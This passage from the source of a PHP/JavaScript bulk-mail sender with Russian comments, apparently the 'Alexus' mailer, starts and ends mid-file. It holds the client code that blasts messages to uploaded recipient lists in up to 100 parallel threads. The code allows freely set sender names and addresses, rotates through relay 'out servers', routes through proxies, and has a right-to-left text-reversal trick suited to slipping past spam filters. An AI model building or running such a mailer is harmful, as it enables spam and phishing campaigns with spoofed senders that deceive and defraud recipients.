b49j9nY543+33RowAAAABJRU5ErkJggg==);
  1131. }
  1132.  
  1133. #TIMEOUT_RANGE {
  1134.     display: inline-block;
  1135.     margin-left: 20px;
  1136.     vertical-align: middle;
  1137.     width: 300px;
  1138. }
  1139.  
  1140. .alexus-range,.alexus-range .crange {
  1141.     height: 20px;
  1142.     padding: 0;
  1143. }
  1144.  
  1145. .alexus-range .crange {
  1146.     background-color: Orange;
  1147. }
  1148.  
  1149. .alexus-range,.alexus-range .crange,.alexus-range .range-controller {
  1150.     -webkit-border-radius: 3px;
  1151.     -moz-border-radius: 3px;
  1152.     border-radius: 3px;
  1153. }
  1154.  
  1155. .alexus-range {
  1156.     width: 100%;
  1157.     background-color: white;
  1158.     text-align: left;
  1159.     margin-top: 10px;
  1160.     margin-bottom: 10px;
  1161. }
  1162.  
  1163. .alexus-range .crange {
  1164.     width: 0;
  1165. }
  1166.  
  1167. .alexus-range .range-controller {
  1168.     width: 15px;
  1169.     height: 25px;
  1170.     margin-top: -24px;
  1171.     margin-left: 0;
  1172.     cursor: pointer;
  1173.     padding: 0;
  1174. }
  1175.  
  1176. .barcounter {
  1177.     position: absolute;
  1178.     text-align: center;
  1179.     width: 700px;
  1180. }
  1181.  
  1182. .txtinput {
  1183.     height: 28px;
  1184.     min-height: 28px;
  1185. }
  1186.  
  1187. .form-horizontal .control-label {
  1188.     width: 250px;
  1189. }
  1190.  
  1191. .form-horizontal .controls {
  1192.     margin-left: 260px;
  1193. }
  1194.  
  1195. .button.white {
  1196.     background-color: NavajoWhite;
  1197.     color: #000;
  1198.     text-shadow: 1px 1px NavajoWhite;
  1199. }
  1200.  
  1201. .button.large {
  1202.     font-size: 125%;
  1203.     padding: 7px 12px;
  1204. }
  1205.  
  1206. .button.large:hover {
  1207.     background-position: 0 -35px;
  1208. }
  1209.  
  1210. .button.large:active {
  1211.     padding: 8px 12px 6px;
  1212.     background-position: 0 top;
  1213. }
  1214.  
  1215. h2 {
  1216.     margin-top: -15px;
  1217. }
  1218.  
  1219. #prime img, #help img, #settings img {
  1220.     height: 24px;
  1221. }
  1222. #outprogressbar .barcounter {
  1223.     width: 900px;
  1224. }
  1225. </style>
  1226. <style type="text/less">
  1227. .status {
  1228.     padding: 5px;
  1229.     /*.header {
  1230.         b {
  1231.             display: inline-block;
  1232.             margin-top: -7px;
  1233.         }
  1234.         i {
  1235.             display: block;
  1236.             float: right;
  1237.             margin-top: -3px;
  1238.         }
  1239.     }
  1240.     .data {
  1241.         padding-top: 10px;
  1242.     }*/
  1243.     .controls {
  1244.         text-align: right;
  1245.         float: right;
  1246.     }
  1247. }
  1248. </style>
  1249. <script src="http://cdnjs.cloudflare.com/ajax/libs/less.js/1.4.1/less.min.js" type="text/javascript"></script>
  1250. <script>
  1251. var Done=new Array();
  1252. var maxDoneSize=25;
  1253. var toDo=new Array();
  1254. var additional=new Array(); var toDoSize=0;
  1255. var enumer=0;
  1256. var attachedFiles=new Array();
  1257. var outServers={
  1258.     active: false,
  1259.     position: 0,
  1260.     servers: new Array(),
  1261.     servers_hash: "",
  1262.     updateServers: function() {
  1263.         if(this.servers_hash==$("#out_servers").val()) return;
  1264.         this.servers_hash=$("#out_servers").val();
  1265.         var tmpservers=this.servers_hash.split("\n");
  1266.         this.servers=[];
  1267.         for(var i in tmpservers) {
  1268.             if(tmpservers[i].length<3) continue;
  1269.             this.servers.push(tmpservers[i]);
  1270.         }
  1271.         this.position=0;
  1272.     },
  1273.     getServer: function() {
  1274.         if(this.position>=this.servers.length) this.position=0;
  1275.         var serv=this.servers[this.position];
  1276.         this.position++;
  1277.         return serv;
  1278.     }
  1279. }
  1280. var threadNum=4;
  1281. var timeoutNum=0;
  1282. var AddNum=1;
  1283. var status="stop";
  1284.  
  1285. function ChangePass(login, pass) {
  1286.     $.post('<?php print $_SERVER['PHP_SELF'];?>?changepass',{login:login,pass:pass}, function(data) {
  1287.         var response=$.parseJSON(data);
  1288.         if(response['result']=='ok')
  1289.             $("#passchangesuccess").show();
  1290.         else
  1291.             $("#passchangeerror").show();
  1292.  
  1293.     });
  1294. }
  1295. function pingoutservers() {
  1296.     var servers=$("#out_servers").val();
  1297.     if(servers=="") return;
  1298.     window.pingout_servers=servers.split("\n");
  1299.     window.pingout_servers_todo=window.pingout_servers.length;
  1300.     $("#out_servers").val("");
  1301.     $("#pingout_log").html("");
  1302.  
  1303.     update_pingoutprogress();
  1304.     for(var i=0; i<4; i++)
  1305.         pingout_server();
  1306. }
  1307. function pingout_server() {
  1308.     if(window.pingout_servers.length==0) return;
  1309.     var server=window.pingout_servers.pop();
  1310.     $.post('<?php print $_SERVER['PHP_SELF'];?>?pingoutserver',{server:server}, function(data) {
  1311.         var result=$.parseJSON(data);
  1312.         var log=$("#pingout_log").html();
  1313.         if(result.status=="GOOD") {
  1314.             $("#pingout_log").html(log+"<span style='color:green;'>"+result.server+" работает</span><br>");
  1315.             $("#out_servers").val($("#out_servers").val()+result.server+"\n");
  1316.         } else {
  1317.             $("#pingout_log").html(log+"<span style='color:red;'>"+result.server+" ошибка: "+result.error+"</span><br>");
  1318.         }
  1319.         $("#pingout_log").scrollTop($("#pingout_log").prop("scrollHeight"));
  1320.  
  1321.         update_pingoutprogress();
  1322.         pingout_server();
  1323.     });
  1324. }
  1325. function update_pingoutprogress() {
  1326.     var pingoutservers_done=window.pingout_servers_todo-window.pingout_servers.length;
  1327.     var opb=$("#outprogressbar");
  1328.     $(opb).find(".barcounter").text(pingoutservers_done+"/"+window.pingout_servers_todo);
  1329.     var percent=parseInt(pingoutservers_done/(window.pingout_servers_todo/100));
  1330.     $(opb).find(".bar").css("width",percent+"%");
  1331. }
  1332. function Send(){
  1333.     enumer=0;
  1334.     if($("#use_out_servers").is(':checked')) {
  1335.         outServers.updateServers();
  1336.         outServers.active=true;
  1337.     } else {
  1338.         outServers.active=false;
  1339.     }
  1340.  
  1341.    
  1342.     var res=$("#to").val().match(/\[FILE:(.+?)\]/);
  1343.     if(res!=null) {
  1344.         var pattern=res[0];
  1345.         var file_path=res[1];
  1346.         $.post("?linesinfile",{file_path:file_path},function(data){
  1347.             var linesinfile=parseInt(data);
  1348.             toDo=[];
  1349.             for(var i=0;i<linesinfile;i++)
  1350.                 toDo.push(pattern);
  1351.             toDoSize=toDo.length;
  1352.             SetProgressBar(0,"0/"+toDoSize);
  1353.             ResumeSendMail();
  1354.         });
  1355.     } else {
  1356.         toDo=$("#to").val().split("\n");
  1357.         toDoSize=toDo.length;
  1358.         SetProgressBar(0,"0/"+toDoSize);
  1359.         ResumeSendMail();
  1360.     }
  1361. }
  1362. function PauseSendMail() {
  1363.     status="pause";
  1364.     $("#PauseSendMail").prop("disabled",true);
  1365.     $("#ResumeSendMail, #StopSendMail").prop("disabled",false);
  1366.     $(".status span.tr-status-idle").removeClass("label-success label-warning").addClass("label-danger").text("<?php tr('status-pause',false);?>");
  1367. }
  1368. function ResumeSendMail() {
  1369.     status="start";
  1370.     $("#ResumeSendMail").prop("disabled",true);
  1371.     $("#PauseSendMail, #StopSendMail").prop("disabled",false);
  1372.     $(".status span.tr-status-idle").removeClass("label-danger label-warning").addClass("label-success").text("<?php tr('status-sending',false);?>");
  1373.     for(var i=0; i<threadNum; i++) SendMail();
  1374. }
  1375. function StopSendMail() {
  1376.     status="stop";
  1377.     StopSendMailHandler();
  1378. }
  1379. function Preview(){
  1380.         var params={
  1381.         to      :"null@null.null",
  1382.         fromname:ReplaceEnum($("#fromname").val(), false),
  1383.         frommail:ReplaceEnum($("#frommail").val(), false),
  1384.         replymail:ReplaceEnum($("#replymail").val(), false),
  1385.         tema    :ReplaceEnum($("#tema").val(), false),
  1386.         type    :$("#type").val(),
  1387.         text    :ReplaceEnum($("#text").val()),
  1388.         enumer  :(toDoSize-toDo.length)
  1389.     };
  1390.         if(additional.length==0)
  1391.         $(".additional").each(function(){
  1392.             additional.push(ReplaceEnum($(this).val()));
  1393.         });
  1394.     else
  1395.         $(".additional").each(function(index, value){
  1396.             if(index<additional.length) return;
  1397.             additional.push(ReplaceEnum($(this).val()));
  1398.         });
  1399.     for(i in additional) {
  1400.         params["additional["+i+"]"]=additional[i];
  1401.     }
  1402.     $.post('<?php print $_SERVER['PHP_SELF'];?>?preview', params, function(data){
  1403.         if($("#type").val()=='text')
  1404.             showPreviewWindow('data:text/plain;charset=utf-8;base64,'+Base64.encode(data));
  1405.         else
  1406.             showPreviewWindow('data:text/html;charset=utf-8;base64,'+Base64.encode(data));
  1407.             });
  1408. }
  1409. function StopSendMailHandler() {
  1410.     //alert("Рассылка завершена!");
  1411.     $(".status span.tr-status-idle").removeClass("label-success label-danger").addClass("label-warning").text("<?php tr('status-idle',false);?>");
  1412.     $(".status .btn").prop("disabled",true);
  1413. }
  1414. function SendMail() {
  1415.     if(status=="pause")
  1416.         return;
  1417.     else if(status=="stop") {
  1418.         //toDo=[];
  1419.         //toDoSize=0;
  1420.         //SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize);
  1421.         return;
  1422.     }
  1423.    
  1424.     if(toDo.length==0) {//!email || email=="" || email==" ") {
  1425.         //останавливаем остальные потоки и генерируем событие окончания рассылки
  1426.         status="stop";
  1427.         StopSendMailHandler();
  1428.         return;
  1429.     }
  1430.     var email=toDo.pop();
  1431.    
  1432.     additional=new Array();
  1433.     if(email.indexOf(";")!=-1) {
  1434.         var emailadds=email.split(";");
  1435.         for(var adds in emailadds) {
  1436.             if(adds==0)
  1437.                 email=emailadds[0];
  1438.             else
  1439.                 additional.push(emailadds[adds]);
  1440.         }
  1441.     }
  1442.     var params={
  1443.         to      :email,
  1444.         fromname:ReplaceEnum($("#fromname").val(), false),
  1445.         frommail:ReplaceEnum($("#frommail").val(), false),
  1446.         replymail:ReplaceEnum($("#replymail").val(), false),
  1447.         tema    :ReplaceEnum($("#tema").val(), false),
  1448.         type    :$("#type").val(),
  1449.         captcha_code:$("input[name=captcha_code]").val(),
  1450.         text    :ReplaceEnum($("#text").val()),
  1451.         enumer  :(toDoSize-toDo.length)
  1452.     };
  1453.     //1.6.5 (16.09.2013) прокси
  1454.     if($("#use_proxy_server").is(":checked")) params['PROXY']=$("#proxy_server_uri").val();
  1455.  
  1456.     if(attachedFiles.length!=0) params['files']=JSON.stringify(attachedFiles);
  1457.  
  1458.     if(additional.length==0)
  1459.         $(".additional").each(function(){
  1460.             additional.push(ReplaceEnum($(this).val()));
  1461.         });
  1462.     else
  1463.         $(".additional").each(function(index, value){
  1464.             if(index<additional.length) return;
  1465.             additional.push(ReplaceEnum($(this).val()));
  1466.         });
  1467.     for(i in additional) {
  1468.         params["additional["+i+"]"]=additional[i];
  1469.     }
  1470.     if(outServers.active) params["outserver"]=outServers.getServer();
  1471.  
  1472.     $.post('<?php print $_SERVER['PHP_SELF'];?>?send', params, function(data){
  1473.         if(data=="CAPTCHA ERROR") {
  1474.             $("#console").html("<?php tr('badcaptcha');?>");
  1475.             $("#console").css("background-color","Tomato");
  1476.                         return;
  1477.         } else if(data=="OUT OF LIMIT") {
  1478.             $("#console").html("<?php tr('sendlimit');?>");
  1479.             $("#console").css("background-color","Tomato");
  1480.                         return;
  1481.         }
  1482.                 $("#console").html(data);
  1483.         $("#console").css("background-color","YellowGreen");
  1484.         var email=data.split(" ");
  1485.         AddDone(email[2]);
  1486.         DrawDone();
  1487.         SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize);
  1488.         if(timeoutNum==0)
  1489.             SendMail();
  1490.         else
  1491.             setTimeout(function(){SendMail()},timeoutNum*1000);
  1492.     });
  1493. }
  1494. function SetProgressBar(count,text) {
  1495.     var psize=parseInt($("#progressbar").css("width"))/100;
  1496.     $("#progressbar .bar").css("width",count+"%");
  1497.     $("#progressbar .barcounter").text(text);
  1498. }
  1499. function AddDone(item) {
  1500.     if(Done.length>maxDoneSize)
  1501.         Done.splice(0,1);
  1502.     Done.push(item);
  1503. }
  1504. function DrawDone() {
  1505.     $("#ext-console").html("");
  1506.     var txt="";
  1507.     for(i in Done) {
  1508.         txt=Done[i]+"<br>"+txt;
  1509.     }
  1510.     $("#ext-console").html(txt);
  1511. }
  1512. function dThreads(){
  1513.     if(threadNum==1) return;
  1514.     threadNum--;
  1515.     ShowThreads();
  1516. }
  1517. function iThreads(){
  1518.     if(threadNum==100) return;
  1519.     threadNum++;
  1520.     ShowThreads();
  1521. }
  1522. function ShowThreads() {
  1523.     $("#THREADS").text(threadNum);
  1524. }
  1525. function ShowUpload() {
  1526.     $("#FileUploadDialog").modal("show");
  1527. }
  1528. function HideUpload() {
  1529.     $("#FileUploadDialog").modal("hide");
  1530. }
  1531. function HideAttache() {
  1532.     $("#univarsalUpload").hide();
  1533. }
  1534. function showUniversalUpload() {
  1535.     if($("#univarsalUpload").css("display")=="none") {
  1536.         $("#univarsalUpload").children(".modal-body").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_universal");
  1537.         $("#univarsalUpload").modal("show");
  1538.     } else $("#univarsalUpload").modal("hide");
  1539. }
  1540. function UploadClickHandler(object) {
  1541.     $(object).parent().parent().children(".modal-body").children("iframe").contents().find("form").submit();
  1542. }
  1543. window.uploadFinishedHandler=function(data) {
  1544.     if(data==null) return;
  1545.     var file=$.parseJSON(Base64.decode(data));
  1546.     attachedFiles.push(file);
  1547.     updateFileList();
  1548.     $("#univarsalUpload").modal("hide");
  1549. }
  1550. function updateFileList() {
  1551.     $("#attachedFiles").html("");
  1552.     for(var file in attachedFiles) {
  1553.         if(file=='remove') continue;
  1554.         $("#attachedFiles").html($("#attachedFiles").html()+(file!=0?"<br>":"")+"<i class='icon-file'></i> "+attachedFiles[file]['name']+" <button class='btn' onclick='removeFile("+file+");return false'><?php tr('delete',false);?></button>");
  1555.     }
  1556. }
  1557. function removeFile(id) {
  1558.     delete attachedFiles[id];
  1559.     updateFileList();
  1560. }
  1561. function TogleLoadSave() {
  1562.     if($("#LoadSaveDialog").css("display")=="none") {
  1563.         $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?loadsave");
  1564.         $("#LoadSaveDialog").modal("show");    
  1565.     } else {
  1566.         $("#LoadSaveDialog").modal("hide");
  1567.     }
  1568. }
  1569. function upload_finished(data) {
  1570.     $("#to").val(data.replace(new RegExp(" ",'g'),"\n"));
  1571.     $("#FileUploadDialog").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_form");
  1572.     HideUpload();
  1573. }
  1574. function AddField(object) {
  1575.     $(object).parent().parent().after('<br><div class="input-prepend"><span class="add-on">[ADD'+AddNum+']</span></div> <input type="text" name="additional'+AddNum+'" id="additional'+AddNum+'" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?> '+AddNum+'"> <div class="input-append"><span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span>');
  1576.     $(object).parent().parent().remove();
  1577.     AddNum++;
  1578. }
  1579. function SaveData() {
  1580.     $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?savedata").load(function(){
  1581.         $("#LoadSaveDialog").find("iframe").unbind("load");
  1582.                 var data="[FROM-NAME]"+$("#fromname").val()+"\n"+"[FROM-EMAIL]"+$("#frommail").val()+"\n"+"[THEME]"+$("#tema").val()+"\n"+"[TYPE]"+$("#type").val()+"\n";
  1583.                 $(".additional").each(function(index, value){
  1584.             data+="[ADD"+index+"]"+$(value).val()+"\n";
  1585.         });
  1586.                 if(attachedFiles.length!=0) data+='[FILES]'+JSON.stringify(attachedFiles)+"\n";
  1587.        
  1588.                 data+="[TEXT]"+$("#text").val().replaceAll("&","&amp;");
  1589.        
  1590.         $("textarea",$(this).contents()).val(data);
  1591.         $("form",$(this).contents()).submit();
  1592.     });
  1593. }
  1594. function loadsave(data) {
  1595.     var content=data.split("[TEXT]");
  1596.     $("#text").val(content[1].replaceAll("&amp;","&"));
  1597.     content=content[0].split("\n");
  1598.     for(var i in content) {
  1599.         if(content[i].indexOf("[FROM-NAME]")!=-1) {
  1600.             content[i]=content[i].replace("[FROM-NAME]","");
  1601.             $("#fromname").val(content[i]);
  1602.         } else if(content[i].indexOf("[FROM-EMAIL]")!=-1) {
  1603.             content[i]=content[i].replace("[FROM-EMAIL]","");
  1604.             $("#frommail").val(content[i]);
  1605.         } else if(content[i].indexOf("[THEME]")!=-1) {
  1606.             content[i]=content[i].replace("[THEME]","");
  1607.             $("#tema").val(content[i]);
  1608.         } else if(content[i].indexOf("[TYPE]")!=-1) {
  1609.             content[i]=content[i].replace("[TYPE]","");
  1610.             $("#type [value='"+content[i]+"']").attr("selected", "selected");
  1611.         } else if(content[i].indexOf("[FILES]")!=-1) {
  1612.             content[i]=content[i].replace("[FILES]","");
  1613.             attachedFiles=$.parseJSON(content[i]);
  1614.             updateFileList();
  1615.         } else if(content[i].indexOf("[ADD")!=-1) {
  1616.             var result=/\[ADD(\d+)\]/.exec(content[i]);
  1617.             if(AddNum<=result[1]) {
  1618.                 AddField($(".addfield:last"));
  1619.             }
  1620.             content[i]=content[i].replace(result[0],"");
  1621.             $("#additional"+result[1]).val(content[i]);
  1622.         }
  1623.     }
  1624.     TogleLoadSave();
  1625. }
  1626. $(document).ready(function(){
  1627.    
  1628.     $("#prime, .prime-button").click(function(){
  1629.         $(".section-screen").hide();
  1630.         $("#prime-screen").show();
  1631.     });
  1632.     $("#help").click(function(){
  1633.         $(".section-screen").hide();
  1634.         $("#help-screen").show();
  1635.     });
  1636.     $("#settings").click(function(){
  1637.         $(".section-screen").hide();
  1638.         $("#settings-screen").show();
  1639.     });
  1640.     $(".btn-checkbox").click(function() {
  1641.         if($(this).hasClass("btn-success")) {
  1642.             $($(this).attr("data-toggle")).prop("checked",false);
  1643.             $(this).removeClass("btn-success").addClass("btn-danger").children("i").removeClass("icon-ok").addClass("icon-remove");
  1644.         } else {
  1645.             $($(this).attr("data-toggle")).prop("checked",true);
  1646.             $(this).removeClass("btn-danger").addClass("btn-success").children("i").removeClass("icon-remove").addClass("icon-ok");
  1647.         }
  1648.     });
  1649.     $("#maxDoneSize").change(function() {
  1650.         maxDoneSize=$(this).val();
  1651.     });
  1652.     alexusRange.create($("#TIMEOUT_RANGE"));
  1653.     alexusRange.change($("#TIMEOUT_RANGE"),function(range) {
  1654.         isetTimeout(alexusRange.get($(range)));
  1655.         $("#TIMEOUT").val(timeoutNum);
  1656.     });
  1657.     $("#TIMEOUT").keyup(function() {
  1658.         isetTimeout($(this).val());
  1659.         alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum);
  1660.     });
  1661.     alexusRange.set($("#TIMEOUT_RANGE"),timeoutNum);
  1662.     $("[rel=tooltip]").tooltip();
  1663.     ShowThreads();
  1664.     });
  1665.  
  1666. function isetTimeout(val) {
  1667.     var newTimeout=parseInt(val);
  1668.     if(newTimeout<0)
  1669.         timeoutNum=0;
  1670.     else if(newTimeout>14400)
  1671.         timeoutNum=14400;
  1672.     else
  1673.         timeoutNum=newTimeout;
  1674. }
  1675. function MakeBold() {
  1676.     wrapText("text","<b>","</b>");
  1677. }
  1678. function MakeItalic() {
  1679.     wrapText("text","<i>","</i>");
  1680. }
  1681. function MakeUnderline() {
  1682.     wrapText("text","<u>","</u>");
  1683. }
  1684. function ReplaceEnum(data) {
  1685.     return data;
  1686.     //Этот функционал перенесен в php часть
  1687. }
  1688. function MakeReverse() {
  1689.     var textArea = $("#text");
  1690.     var len = textArea[0].value.length;
  1691.     var start = textArea[0].selectionStart;
  1692.     var end = textArea[0].selectionEnd;
  1693.     var selectedText = textArea[0].value.substring(start, end);
  1694.     selectedText=selectedText.split("").reverse().join("");
  1695.     var replacement = "<span style=\"direction: rtl;unicode-bidi: bidi-override;\">" + selectedText + "</span>";
  1696.     textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len);
  1697. }
  1698. function wrapText(elementID, openTag, closeTag) {
  1699.     var textArea = $('#' + elementID);
  1700.     var len = textArea[0].value.length;
  1701.     var start = textArea[0].selectionStart;
  1702.     var end = textArea[0].selectionEnd;
  1703.     var selectedText = textArea[0].value.substring(start, end);
  1704.     var replacement = openTag + selectedText + closeTag;
  1705.     textArea[0].value=textArea[0].value.substring(0, start) + replacement + textArea[0].value.substring(end, len);
  1706. }
  1707. function showPreviewWindow(link) {
  1708.     $("#preview-screen").find("iframe").attr("src", link);
  1709.     $(".section-screen").hide();
  1710.     $("#preview-screen").show();
  1711.     $(window).scrollTop(0);
  1712. }
  1713. var alexusRange={
  1714.     mouseX:0,
  1715.     newX:0,
  1716.     rangeCounter:0,
  1717.     changeHandlers:{},
  1718.     create:function(range) {
  1719.         $(range).addClass("alexus-range").addClass("well").append('<div class="crange"></div><div class="range-controller btn"></div>');
  1720.         if(alexusRange.rangeCounter==0) $(document).mouseup(alexusRange.mouseupHandler);
  1721.         $(range).children(".range-controller").mousedown(alexusRange.mousedownHandler);
  1722.         alexusRange.rangeCounter++;
  1723.         $(range).attr("ruqid",alexusRange.rangeCounter);
  1724.     },
  1725.     RangeMouseMoveHandler:function(e) {
  1726.                 if(alexusRange.mouseX==0) alexusRange.mouseX=e.pageX;
  1727.         alexusRange.newX=e.pageX
  1728.         if(e.pageX!=alexusRange.mouseX)
  1729.             $(".alexus-range .range-controller[state=inmove]").each(function() {
  1730.                 var max_pos=parseInt($(this).parent().css("width"))-parseInt($(this).css("width"))-2;
  1731.                 var cur_pos=parseInt($(this).css("margin-left"));
  1732.                 var delta=alexusRange.mouseX-alexusRange.newX;
  1733.                 if(cur_pos-delta<0)
  1734.                     cur_pos=0;
  1735.                 else if(cur_pos-delta>max_pos)
  1736.                     cur_pos=max_pos;
  1737.                 else
  1738.                     cur_pos-=delta;
  1739.                 $(this).css("margin-left", cur_pos);
  1740.                 $(this).parent().children(".crange").css("width",parseInt(cur_pos/(max_pos/100))+"%");
  1741.                 if(alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]!=undefined)
  1742.                     alexusRange.changeHandlers[alexusRange.uniqueId($(this).parent())]($(this).parent());
  1743.             });
  1744.         alexusRange.mouseX=alexusRange.newX;
  1745.     },
  1746.     change:function(range, handler) {
  1747.         alexusRange.changeHandlers[alexusRange.uniqueId($(range))]=handler;
  1748.     },
  1749.     mousedownHandler:function() {
  1750.                 $(this).attr("state","inmove");
  1751.         $(document).mousemove(alexusRange.RangeMouseMoveHandler);
  1752.     },
  1753.     mouseupHandler:function() {
  1754.         $(".alexus-range .range-controller[state=inmove]").attr("state","relax");
  1755.         $(document).unbind("mousemove", alexusRange.RangeMouseMoveHandler);
  1756.         alexusRange.ResetPos();
  1757.     },
  1758.     ResetPos:function() {
  1759.         alexusRange.mouseX=0;
  1760.     },
  1761.     get:function(range) {
  1762.         var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2;
  1763.         var cur_pos=parseInt($(range).children(".range-controller").css("margin-left"));
  1764.         var max_val=parseInt($(range).attr("max"));
  1765.         var min_val=parseInt($(range).attr("min"));
  1766.         return parseInt((max_val-min_val)*(cur_pos/max_pos))+min_val;  
  1767.     },
  1768.     set:function(range, val) {
  1769.         var max_pos=parseInt($(range).css("width"))-parseInt($(range).children(".range-controller").css("width"))-2;
  1770.         var cur_pos=parseInt($(range).children(".range-controller").css("margin-left"));
  1771.         var max_val=$(range).attr("max");
  1772.         var min_val=$(range).attr("min");
  1773.         var pos=parseInt(max_pos*(((val-min_val)/(max_val-min_val))));
  1774.         if(pos<0)
  1775.             pos=0;
  1776.         else if(pos>max_pos)
  1777.             pos=max_pos;
  1778.         $(range).children(".range-controller").css("margin-left",pos);
  1779.         $(range).children(".crange").css("width",parseInt(pos/(max_pos/100))+"%");
  1780.     },
  1781.     uniqueId:function(range) {
  1782.         return $(range).attr("ruqid");
  1783.     }
  1784. }
  1785. function setLang(code) {
  1786.     if(code=='ru') {
  1787.         setCookie('translation','ru',{path:"/"});
  1788.                 document.location.reload();
  1789.     } else {
  1790.         setCookie('translation',code,{path:"/"});
  1791.                 document.location="/"+code+"/";
  1792.                 document.location.reload();
  1793.     }
  1794. }
  1795. function setCookie(name, value, props) {
  1796.     props = props || {}
  1797.     var exp = props.expires
  1798.     if (typeof exp == "number" && exp) {
  1799.         var d = new Date()
  1800.         d.setTime(d.getTime() + exp*1000)
  1801.         exp = props.expires = d
  1802.     }
  1803.     if(exp && exp.toUTCString) { props.expires = exp.toUTCString() }
  1804.  
  1805.     value = encodeURIComponent(value)
  1806.     var updatedCookie = name + "=" + value
  1807.     for(var propName in props){
  1808.         updatedCookie += "; " + propName
  1809.         var propValue = props[propName]
  1810.         if(propValue !== true){ updatedCookie += "=" + propValue }
  1811.     }
  1812.     document.cookie = updatedCookie
  1813.  
  1814. }
  1815. String.prototype.replaceAll = function(search, replace){
  1816.   return this.split(search).join(replace);
  1817. }
  1818. var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}}
  1819. </script>
  1820. </head>
  1821. <body>
  1822.    
  1823. <div class="modal hide fade" id="univarsalUpload">
  1824.      <div class="modal-header">
  1825.         <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
  1826.         <h3><?php tr('attachfile');?></h3>
  1827.     </div>
  1828.  
  1829.     <div class="modal-body">
  1830.         <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_universal" width="260px" height="80px" frameborder="0"></iframe>
  1831.     </div>
  1832.     <div class="modal-footer">
  1833.         <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
  1834.         <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
  1835.     </div>
  1836. </div>
  1837.  
  1838.    
  1839. <div class="modal hide fade" id="FileUploadDialog">
  1840.     <div class="modal-header">
  1841.         <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
  1842.         <h3><?php tr('uploadlist');?></h3>
  1843.     </div>
  1844.     <div class="modal-body">
  1845.         <iframe src="<?php print $_SERVER['PHP_SELF'];?>?upload_form" width="260px" height="80px" frameborder="0"></iframe>
  1846.     </div>
  1847.     <div class="modal-footer">
  1848.         <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
  1849.         <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
  1850.     </div>
  1851. </div>
  1852.    
  1853. <div class="modal hide fade" id="LoadSaveDialog">
  1854.     <div class="modal-header">
  1855.         <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
  1856.         <h3><?php tr('uploadtemplate');?></h3>
  1857.     </div>
  1858.     <div class="modal-body">
  1859.         <iframe src="<?php print $_SERVER['PHP_SELF'];?>?loadsave" width="260px" height="80px" frameborder="0"></iframe>
  1860.     </div>
  1861.     <div class="modal-footer">
  1862.         <a href="#" class="btn" data-dismiss="modal"><?php tr('close');?></a>
  1863.         <a href="#" class="btn btn-primary" onclick="UploadClickHandler(this);return false"><?php tr('upload');?></a>
  1864.     </div>
  1865. </div>
  1866.  
  1867.    
  1868. <div class="container">
  1869.     <div class="row">
  1870.         <div class="span12">
  1871.             <div class="navbar">
  1872.                 <div class="navbar-inner">
  1873.                     <a class="brand" href="#" id="hello"><?php tr('name');?> <?php echo VERSION;?></a>
  1874.                     <ul class="nav">
